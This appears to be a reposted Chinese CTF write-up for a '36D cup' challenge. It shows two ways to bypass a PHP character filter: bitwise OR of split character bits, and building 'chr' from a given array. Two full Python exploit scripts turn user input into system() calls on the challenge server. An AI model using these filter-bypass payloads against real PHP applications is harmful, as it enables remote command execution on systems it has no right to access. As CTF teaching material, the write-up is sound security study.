36D 杯 取吧,小白pl构造方法

admin 2022年1月5日23:15:47CTF专场评论12 views1928字阅读6分25秒阅读模式

>

This site is best viewed in a modern browser with JavaScript enabled.

### id="flarum-content">

36D 杯 取吧,小白pl构造方法

yuchoxuuan

Y1ng大佬的wp里面给了一种灰常灰常高端的pl构造,很多小白(比如说我)表示不明觉厉,
对本题而言其实有更接地气的,简单的,适合萌新的构造方式,
记录下来仅供和我一样萌新的小白们参考

php有个很不错的特性是,字符串+() = 函数调用。。。
比如'phpinfo'() = phpinfo()
他的过滤允许我们用. () 所以我们的核心就可以归结到 如何构造函数名和参数上了。
比如我们构造
$1='system'

$2='ls'
那么 $1($2) 就等于 system('ls')

好了:
方法1.他的过滤很傻,包括了字母,~ ^ 看样子是想绝了用位运算绕过的心,可是,除了这两个还有 与 或 啊比如说我们可以用或来构造负载,比如说把负载里面的 字母拆成低五位 高3位 然后或在一起就好了啊。
至于为什么不是四四开,因为四四开的话 高位会落在字母上,然后被过滤掉。。。。所以。。其实我是试出来的。
代码如下:

import  requests
url='https://4448ff8b-1023-453d-ab93-90ed7cec37be.chall.ctf.show/?code='
def Sol1(): #方法1 用字符串或的方式拼接载荷
    '''
    #用这个语句测试一下就知道 把ascii 拆成 低五位,高三位之后,基本上常用的字母数字啥的就都落在敏感词列表之外了,
    #当然还有其他各种拆法,不过我觉得这么拆比较省省
    for i in range(30,128):
        print(i,chr(i),chr(i&0x1F),chr(i&0xE0))
    '''

    # 这个函数就是把你要转化的字符串里的每个字符拆成低五位,
    # 高三位的形式,然后用或操作拼接在一起,
    def f1(pl=''):
        b1='("'
        b2='"'
        for i in pl:
            x=ord(i)
            b1+='%%%02x'%(x&0x1F)
            b2+='%%%02x' % (x & 0xE0)
        b1+='"'
        b2+='")'
        return b1+'|'+b2
    def getshell(pl1,pl2): #pl1 ,函数名,pl2 参数
        shell= "($_1={}).($_2={}).($_1($_2))".format(pl1,pl2)
        ret =requests.get(url+shell).text
        print(ret[ret.index('</code>')+7:])
    while True:
        f=f1(input("Function: "))
        p=f1(input("param: "))
        print('- '*30)
        getshell(f,p)
        print('- ' * 30)
Sol1()

方法2.既然他给了个全字母的 S_不用可惜了,所以我的第二个思路是构造一个chr出来
然后用chr(?).chr(?).chr(?)的方式拼接任意字符串出来都是可以哒
代码如下:


import  requests
url='https://4448ff8b-1023-453d-ab93-90ed7cec37be.chall.ctf.show/?code='

def Sol2():
#这是第二种绕过方法,就是用民敏感词列表直接绕,
# 我的方法是直接用它构造'chr'然后再用他加数字去拼别的
    def f2(plF='',plP=''): #函数名,参数
        #$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
        f_chr='($_0=$_[2].$_[7].$_[17])'# $_0=chr
        f='($_1='
        for i in plF:
            f+='$_0(%d).'%ord(i) #f=chr(???).chr(???)...
        f=f[:-1]+')' #去掉最后一个.

        p = '($_2='
        for i in plP:
            p += '$_0(%d).' % ord(i)
        p = p[:-1] + ')'  # 去掉最后一个.
        shell = f_chr+'.'+f+'.'+p+'.($_1($_2))'
        return shell


    while True:
        f=input("Function: ")
        p=input("param: ")

        print('- '*30)
        ret = requests.get(url + f2(f,p)).text
        print(ret[ret.index('</code>') + 7:])
        print('- ' * 30)
#
Sol2()

结果如下:


特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:15:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  36D 杯 取吧,小白pl构造方法 http://cn-sec.com/archives/720172.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: